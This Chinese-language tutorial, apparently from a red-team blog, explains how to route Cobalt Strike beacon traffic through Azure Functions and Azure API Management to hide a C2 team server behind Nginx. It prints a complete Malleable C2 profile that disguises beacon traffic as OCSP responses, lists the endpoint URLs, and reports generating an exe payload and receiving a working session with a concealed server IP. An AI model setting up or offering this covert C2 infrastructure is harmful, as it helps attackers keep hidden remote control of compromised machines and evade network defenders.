Skip to main content

Azure函数


image.png

点击左侧的 Azure Tools 拓展,登录 Azure。

image.png

选择文件夹

image.png

image.png

创建新的 Function App

image.png

创建完成后得到输出

image.png

将本地的 Function App 文件部署到 Azure 端

image.png

部署完成后,输出中会包含终端的 URL:

image.png

/api/getit/api/postit 终端分别添加到 Nginx 配置文件中使其能被 Nginx 转发到团队服务器,以及 C2 侧写中。一份可用的侧写如下所示:

#
# Online Certificate Status Protocol (OCSP) Profile
#   http://tools.ietf.org/html/rfc6960
#
# Author: @harmj0y
# Updated: by FortyNorth Security to demo Azure Functions
#

set sleeptime "3000";         # 3 Seconds
set jitter    "20";            # % jitter
set useragent "dlerinfra";

https-certificate {    
    set keystore "ts.store";
    set password "123123";
}

    set maxdns             "255";
    
http-get {
    set uri "/api/getit";
    client {
        header "Accept" "*/*";
        metadata {
                        base64;
                        prepend "OSID=";
                        header "Cookie";
                }
    }


    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
        header "Connection" "keep-alive";
        output {
            print;
        }
    }
}



http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";     
        id {
                base64;
                prepend "TRY=";
                header "Cookie";
        }

        output {
            print;
        }
    }


    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
        header "Connection" "keep-alive";
        output {
            print;
        }
    }
}


set host_stage "false";
http-stager {
        set uri_x86 "/api/stageit";
}












API

在 Azure 面板中,导航到 API Management services,创建新的 API 管理服务。

image.png

点击 Add API,添加 2 个HTTP API,分别用于处理 GETPOST 请求。

image.png

image.png

Web service URL 填写 C2 服务器 Nginx 的 URL,因为我们在 API URL suffix 添加了名为 get 的后缀,因此 Nginx URL 这里也对应地补上。

image.png

取消对 Subscription required 的勾选,其他保持默认即可。

image.png

在该 API 里通过点击 Add operation 来添加一个操作,指定请求类型为 GET,以及终端名称

image.png

这样,就完成了处理 GET 请求的 API 管理服务。我们重复类似的步骤来完成处理 POST 请求的 API 管理服务。

image.png

这样,这 2 个终端的完整 URI 如下所示:

GET:  https://dlersec-api.azure-api.net/get/api
POST: https://dlersec-api.azure-api.net/post/api

修改 Nginx 配置文件添加对这 2 个终端的转发,使得从 Azure 转发至 Nginx 的请求最终被转发到 C2 团队服务器。

image.png

以及修改侧写文件中的 URI

image.png

image.png

使用 curl 测试以下,成功得到了 C2 的响应。

image.png

生成 exe 载荷并执行,成功获得会话,并且命令执行与输出一切正常。

image.png

查看 Beacon 的通信地址,IP 是 20.241.189.223,也就是我们 Azure API 管理服务的地址,成功隐藏了 C2 服务器。

image.png

image.png